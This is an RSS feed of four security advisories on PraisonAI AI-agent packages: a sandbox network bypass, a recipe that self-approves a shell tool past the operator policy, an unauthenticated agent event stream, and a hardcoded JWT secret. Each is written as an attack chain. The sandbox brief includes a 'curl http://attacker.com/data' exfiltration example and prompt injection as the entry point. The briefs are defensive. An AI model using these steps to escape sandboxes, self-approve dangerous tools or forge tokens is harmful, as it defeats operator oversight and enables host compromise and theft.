<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>MervinPraison - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/vendors/mervinpraison/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Thu, 18 Jun 2026 15:06:26 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/vendors/mervinpraison/feed.xml" rel="self" type="application/rss+xml"/><item><title>npm PraisonAI SandboxExecutor Network Isolation Bypass Vulnerability (GHSA-gqmf-56h7-rrpf)</title><link>https://feed.craftedsignal.io/briefs/2026-06-npm-praisonai-network-bypass/</link><pubDate>Thu, 18 Jun 2026 15:06:26 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-06-npm-praisonai-network-bypass/</guid><description>The npm package `praisonai` versions 1.2.3 through 1.7.1 contain a network isolation bypass vulnerability (GHSA-gqmf-56h7-rrpf) in its `SandboxExecutor` component's `network-isolated` mode, allowing non-proxy-aware client commands to establish direct network connections, leading to potential data exfiltration and access to internal services.</description><content:encoded><![CDATA[<p>The npm package <code>praisonai</code>, specifically versions 1.2.3 up to and including 1.7.1, is affected by a critical network isolation bypass vulnerability identified as GHSA-gqmf-56h7-rrpf. The <code>SandboxExecutor</code> component in <code>network-isolated</code> mode, which is advertised to provide &quot;No network access,&quot; fails to implement robust OS-level network restrictions. Instead, it only injects proxy environment variables (e.g., <code>http_proxy</code>, <code>https_proxy</code> set to <code>localhost:0</code>) into the child processes. This mechanism is insufficient for true network isolation, as any non-proxy-aware client or direct socket API call within the sandboxed command environment will bypass these variables and establish direct network connections. This flaw undermines the security guarantees applications rely on when executing untrusted or user-supplied code via <code>praisonai</code>, potentially enabling attackers to exfiltrate sensitive data or access internal network resources.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker crafts malicious input, such as a prompt-injected command, and submits it to an application utilizing the <code>praisonai</code> library.</li>
<li>The vulnerable application executes the attacker-supplied command within the <code>SandboxExecutor</code> component, configured for <code>network-isolated</code> mode.</li>
<li>The <code>SandboxExecutor</code> spawns a child process (e.g., <code>sh -c [attacker_controlled_command]</code>), inheriting environment variables like <code>http_proxy=http://localhost:0</code>.</li>
<li>The attacker-controlled command, for instance, <code>curl http://attacker.com/data</code>, executes a non-proxy-aware network client or direct socket API call.</li>
<li>The non-proxy-aware client or API ignores the injected proxy environment variables and attempts to establish a direct outbound network connection.</li>
<li>The operating system permits the direct connection, effectively bypassing the intended <code>network-isolated</code> sandbox boundary.</li>
<li>The attacker's command successfully exfiltrates data from the compromised environment or accesses internal network services.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The network isolation bypass in <code>praisonai</code> can lead to severe consequences for applications relying on its sandbox for security. If exploited, attackers can circumvent the intended network restrictions to exfiltrate sensitive data (e.g., local files, process output, environment variables) from the sandboxed command context. Furthermore, this vulnerability allows access to localhost services or internal network resources reachable from the host running the <code>praisonai</code> instance, potentially enabling lateral movement or further compromise. It can also permit requests to cloud metadata or service endpoints, leading to credential theft or escalation of privileges. Ultimately, the flaw enables bypass of application policies that assume command execution occurs without network access, compromising the integrity and confidentiality of the host system.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li><strong>Patch CVE-GHSA-gqmf-56h7-rrpf immediately</strong> by upgrading the <code>praisonai</code> npm package to a version that contains a fix, or implement a workaround that employs OS-level network restrictions.</li>
<li><strong>Deploy the Sigma rules in this brief to your SIEM</strong> to detect suspicious network utility execution originating from processes likely spawned by <code>praisonai</code>'s <code>SandboxExecutor</code>.</li>
<li><strong>Enable <code>process_creation</code> logging for all Linux servers</strong> that run applications using the <code>praisonai</code> package to capture <code>sh</code>, <code>curl</code>, <code>wget</code>, <code>node</code>, and <code>python</code> command line arguments.</li>
<li><strong>Review <code>network_connection</code> logs</strong> from systems using <code>praisonai</code> for outbound connections initiated by non-standard or unexpected processes to external or internal destinations.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>vulnerability</category><category>npm</category><category>sandbox</category><category>network-bypass</category><category>ghsa</category></item><item><title>PraisonAI Recipe Policy Bypass via YAML Workflow Approval</title><link>https://feed.craftedsignal.io/briefs/2026-06-praisonai-policy-bypass/</link><pubDate>Thu, 18 Jun 2026 15:01:53 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-06-praisonai-policy-bypass/</guid><description>A policy bypass vulnerability in PraisonAI (CVE-NONE) allows untrusted recipes to self-approve and execute default-denied critical shell tools, such as `execute_command`, by declaring them in `workflow.yaml` instead of `TEMPLATE.yaml requires.tools`, leading to arbitrary command execution with the privileges of the PraisonAI process.</description><content:encoded><![CDATA[<p>A critical policy bypass vulnerability affects PraisonAI, a recipe execution platform, specifically versions <code>v4.5.87</code> through <code>v4.6.57</code>. The platform's security model intends to block &quot;dangerous tools&quot; (e.g., <code>execute_command</code>) unless an operator explicitly allows them via <code>allow_dangerous_tools=True</code>. However, an untrusted recipe can circumvent this control. By crafting a <code>workflow.yaml</code> that declares a default-denied tool within an agent's <code>tools</code> section and simultaneously using a top-level <code>approve:</code> directive, the recipe can effectively self-approve the dangerous tool. This bypasses the initial security policy that only checks <code>TEMPLATE.yaml requires.tools</code>, enabling the recipe to execute arbitrary commands without operator consent. The vulnerability affects both local CLI usage and HTTP recipe-runner deployments, with potentially higher severity if exposed to authenticated users.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li><strong>Attacker crafts malicious PraisonAI recipe</strong>: The attacker prepares a recipe consisting of a <code>workflow.yaml</code> that declares a default-denied critical tool (e.g., <code>execute_command</code>) under an agent's <code>tools</code> section and includes <code>approve: [execute_command]</code> at the top level, while ensuring the <code>TEMPLATE.yaml requires.tools</code> section does not list any dangerous tools.</li>
<li><strong>Operator runs untrusted recipe</strong>: An operator or user runs the attacker-controlled recipe through the PraisonAI local CLI or an exposed HTTP recipe runner, critically without specifying <code>allow_dangerous_tools=True</code>.</li>
<li><strong>Initial policy check bypassed</strong>: <code>PraisonAI</code>'s <code>_check_tool_policy()</code> function inspects only the <code>TEMPLATE.yaml requires.tools</code> list. Since the malicious <code>workflow.yaml</code> avoids listing dangerous tools there, the recipe passes this initial security gate.</li>
<li><strong><code>YAMLWorkflowParser</code> processes <code>workflow.yaml</code></strong>: During the <code>_execute_steps_workflow()</code> phase, <code>YAMLWorkflowParser</code> parses the <code>workflow.yaml</code>, resolving agent-level <code>tools:</code> declarations and extracting the top-level <code>approve:</code> directives.</li>
<li><strong>Workflow self-approves dangerous tools</strong>: The <code>Workflow.start()</code> method invokes <code>set_yaml_approved_tools()</code>, which registers the tools specified in the <code>approve:</code> directive (including the dangerous <code>execute_command</code>) within the application's approval context, effectively self-approving them.</li>
<li><strong>Agent executes dangerous command</strong>: When the PraisonAI agent within the workflow attempts to utilize the <code>execute_command</code> tool, it is treated as pre-approved due to the bypass, allowing the agent to proceed with its execution.</li>
<li><strong>Arbitrary command execution</strong>: The <code>execute_command</code> tool then executes arbitrary operating system commands specified by the attacker within the <code>workflow.yaml</code>, inheriting the privileges of the underlying PraisonAI process.</li>
<li><strong>Impact</strong>: This unapproved command execution can lead to remote code execution, data exfiltration, system compromise, or facilitate further lateral movement within the compromised environment.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>This policy bypass allows an untrusted recipe to execute arbitrary commands with the privileges of the PraisonAI process. If an operator runs such a recipe, or if a PraisonAI HTTP recipe runner is exposed to users who can choose recipe names or URIs, successful exploitation can lead to full system compromise. The exact trigger for command execution depends on the specific workflow and model/tool-call path, but the core policy boundary is breached before execution. This impacts both local CLI usage of PraisonAI and deployments utilizing the HTTP recipe runner, potentially escalating to an authenticated remote execution issue if the API is accessible.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li><strong>Patch <code>PraisonAI</code></strong>: Upgrade <code>PraisonAI</code> to version <code>4.6.61</code> or later immediately to address the vulnerability described in the GHSA advisory.</li>
<li><strong>Monitor <code>process_creation</code> logs</strong>: Deploy the Sigma rules provided in this brief to detect suspicious command execution originating from <code>PraisonAI</code> processes.</li>
<li><strong>Enable Sysmon logging</strong>: Ensure Sysmon process creation and command line logging (Event ID 1) is enabled on all Windows systems running PraisonAI to facilitate detection of spawned shell processes.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>application-vulnerability</category><category>policy-bypass</category><category>remote-code-execution</category><category>praisonai</category><category>python</category></item><item><title>PraisonAI A2U Incomplete Authentication Fix (GHSA-jxcw-qp4h-6jfq)</title><link>https://feed.craftedsignal.io/briefs/2026-06-praisonai-unauth-a2u/</link><pubDate>Thu, 18 Jun 2026 15:00:49 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-06-praisonai-unauth-a2u/</guid><description>An incomplete fix in PraisonAI's `praisonai serve a2u` command leaves the A2U Agent-to-User event stream server unauthenticated by default, potentially exposing sensitive agent event streams to any attacker who can reach the server, bypassing intended authentication mechanisms for versions `4.5.115` to `4.6.60`.</description><content:encoded><![CDATA[<p>A critical vulnerability exists in PraisonAI, affecting versions <code>4.5.115</code> through <code>4.6.60</code>, stemming from an incomplete fix for a previously disclosed unauthenticated access issue (GHSA-f292-66h9-fpmf). When an operator starts the A2U (Agent-to-User) event stream server using the documented <code>praisonai serve a2u</code> CLI command without explicitly configuring the <code>A2U_AUTH_TOKEN</code> environment variable, the server runs without any authentication. This default behavior contradicts the secure-by-default posture implied by the previous fix and current documentation, allowing unauthenticated access to sensitive agent event streams such as responses, tool calls, thinking/progress events, and stream metadata. Attackers can leverage this oversight to gain unauthorized insight into agent activities and potentially exfiltrate sensitive operational data if the server is exposed on a network interface.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An operator installs PraisonAI versions between <code>4.5.115</code> and <code>4.6.60</code>.</li>
<li>The operator starts the A2U server using the command <code>praisonai serve a2u --host 0.0.0.0 --port 8002</code> (or similar) without setting the <code>A2U_AUTH_TOKEN</code> environment variable.</li>
<li>The <code>_create_a2u_app()</code> function in <code>src/praisonai/praisonai/cli/features/serve.py</code> registers A2U routes.</li>
<li>The <code>create_a2u_routes()</code> function in <code>src/praisonai/praisonai/endpoints/a2u_server.py</code> checks for <code>A2U_AUTH_TOKEN</code> via <code>os.environ.get()</code>.</li>
<li>Since <code>A2U_AUTH_TOKEN</code> is not set, the authentication mechanism (<code>_authenticate_request()</code>) returns <code>None</code>, effectively disabling authentication for all A2U endpoints.</li>
<li>An unauthenticated attacker makes an HTTP GET request to <code>/a2u/info</code>, <code>/a2u/subscribe</code>, or <code>/a2u/events/{stream_name}</code> on the exposed PraisonAI A2U server.</li>
<li>The server responds with sensitive agent event stream data, including agent responses, tool calls, thinking/progress events, and stream metadata, without requiring any credentials.</li>
<li>The attacker successfully exfiltrates sensitive operational data or gains intelligence on agent activities.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Attackers who can reach an unauthenticated PraisonAI A2U server are able to subscribe to sensitive agent event streams without credentials. This exposed data includes agent responses, details of tool calls, internal thinking/progress events, and stream metadata. Organizations relying on PraisonAI and believing the previously announced fix or the secure-by-default documentation may inadvertently deploy the A2U server on network interfaces, exposing these streams. This could lead to the unauthorized disclosure of proprietary operational logic, sensitive internal data processed by agents, or intelligence on ongoing tasks, potentially compromising business operations, intellectual property, or client data.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li><strong>Upgrade PraisonAI to a patched version</strong>: Ensure all PraisonAI installations are updated to version <code>4.6.61</code> or later, as specified in the affected range <code>pip:praisonai &gt;= 4.5.115, &lt; 4.6.61</code>.</li>
<li><strong>Implement Authentication</strong>: For any PraisonAI A2U server currently deployed, explicitly set the <code>A2U_AUTH_TOKEN</code> environment variable before starting the <code>praisonai serve a2u</code> command to enforce authentication.</li>
<li><strong>Deploy the Sigma rules</strong>: Deploy the provided Sigma rules to detect unauthenticated access attempts to A2U endpoints in webserver logs.</li>
<li><strong>Review deployment configurations</strong>: Audit existing <code>praisonai serve a2u</code> deployments to confirm that <code>--host 0.0.0.0</code> is not used without proper authentication enabled, or that network segmentation limits access to trusted internal hosts only.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>incomplete-fix</category><category>authentication-bypass</category><category>api-server</category><category>misconfiguration</category><category>data-exposure</category><category>praisonai</category></item><item><title>PraisonAI Platform Vulnerable to JWT Forgery via Hardcoded Default Secret</title><link>https://feed.craftedsignal.io/briefs/2026-06-praisonai-platform-jwt-secret-forgery/</link><pubDate>Thu, 18 Jun 2026 14:43:44 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-06-praisonai-platform-jwt-secret-forgery/</guid><description>The `praisonai-platform` package, versions 0.1.4 and below, is critically vulnerable to authentication bypass and privilege escalation due to a hardcoded default JWT signing secret (`dev-secret-change-me`) that is inadvertently enabled in default deployments, allowing an unauthenticated attacker to forge JWTs and impersonate any user.</description><content:encoded><![CDATA[<p>The <code>praisonai-platform</code> Python package, specifically versions 0.1.4 and older, developed by Mervin Praison, contains a critical vulnerability where its JSON Web Token (JWT) signing secret defaults to a publicly known string, <code>dev-secret-change-me</code>. This misconfiguration stems from a flawed environment variable check in <code>praisonai_platform/services/auth_service.py</code> (SHA256: <code>cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258</code>). The intended guard to prevent production deployments with the default secret fails if both <code>PLATFORM_JWT_SECRET</code> and <code>PLATFORM_ENV</code> are left unset, causing the application to silently start with the insecure secret. This enables unauthenticated attackers to forge arbitrary JWTs, effectively bypassing authentication for any user, including administrative accounts, across all routes protected by the <code>get_current_user</code> dependency.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li><strong>Initial Access / Reconnaissance</strong>: An unauthenticated attacker identifies a <code>praisonai-platform</code> instance, possibly by interacting with its API endpoints or discovering the underlying software version.</li>
<li><strong>Vulnerability Identification</strong>: The attacker identifies that the application is running <code>praisonai-platform</code> version 0.1.4 or earlier and has not correctly configured its <code>PLATFORM_JWT_SECRET</code> and <code>PLATFORM_ENV</code> environment variables, leading to the use of the default <code>dev-secret-change-me</code> JWT secret.</li>
<li><strong>Token Forgery</strong>: Using the publicly known JWT secret (<code>dev-secret-change-me</code>) and the HS256 algorithm, the attacker crafts a JWT with arbitrary claims, including <code>sub</code> (user ID) and <code>email</code>, for a target user (e.g., an administrative user like <code>admin@example.com</code> or a known user ID).</li>
<li><strong>Authentication Bypass</strong>: The attacker sends the forged JWT in an <code>Authorization</code> header to a protected endpoint (e.g., <code>/api/v1/workspaces</code>, <code>/api/v1/projects</code>).</li>
<li><strong>User Impersonation</strong>: The <code>praisonai-platform</code> server validates the forged token using the default secret and treats the attacker as the impersonated user (e.g., <code>admin-user-id-attacker-chose</code>).</li>
<li><strong>Privilege Escalation / Unauthorized Access</strong>: If the forged token impersonates an administrator or a member of a specific workspace, the attacker gains full access to that user's resources and permissions within the application, including creating, modifying, or deleting data.</li>
<li><strong>Impact</strong>: The attacker proceeds to exfiltrate data, tamper with application settings, or perform other malicious actions as the impersonated user.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>This critical vulnerability directly leads to complete authentication bypass and privilege escalation within affected <code>praisonai-platform</code> deployments. An attacker can impersonate any user, including administrators, by forging JWTs with arbitrary user IDs and email addresses. All routes protected by the <code>get_current_user</code> dependency, which includes core functionalities such as managing workspaces, projects, issues, agents, and labels, become vulnerable to unauthorized access. The consequence is full compromise of the application's data and functionality, with potential for sensitive data exfiltration, system configuration changes, and disruption of service. There is no specific victim count, but any instance of <code>praisonai-platform</code> running the vulnerable versions without proper environment configuration is at risk.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li><strong>Immediate Action</strong>: Patch <code>praisonai-platform</code> to a version that addresses this vulnerability or ensure <code>PLATFORM_JWT_SECRET</code> is set to a strong, random, and unique value (at least 32 bytes) in all environments, including development. Set <code>PLATFORM_ENV</code> to a non-<code>dev</code> value (e.g., <code>production</code>) for production deployments to ensure the built-in guard is active.</li>
<li><strong>Detection Engineering</strong>: Deploy the provided Sigma rule &quot;Detect PraisonAI Platform Vulnerable File (SHA256)&quot; to identify instances running the vulnerable <code>auth_service.py</code> file.</li>
<li><strong>Supply Chain Security</strong>: Implement automated scanning for component vulnerabilities (SCA) to identify the presence of <code>praisonai-platform &lt;= 0.1.4</code> in your software supply chain.</li>
<li><strong>Log Configuration</strong>: Ensure application logs are configured to capture environment variable settings on process startup, if possible, to detect instances where <code>PLATFORM_JWT_SECRET</code> is unset or <code>PLATFORM_ENV</code> defaults to <code>dev</code>.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>authentication-bypass</category><category>hardcoded-credentials</category><category>jwt-forgery</category><category>python</category><category>supply-chain</category><category>misconfiguration</category></item></channel></rss>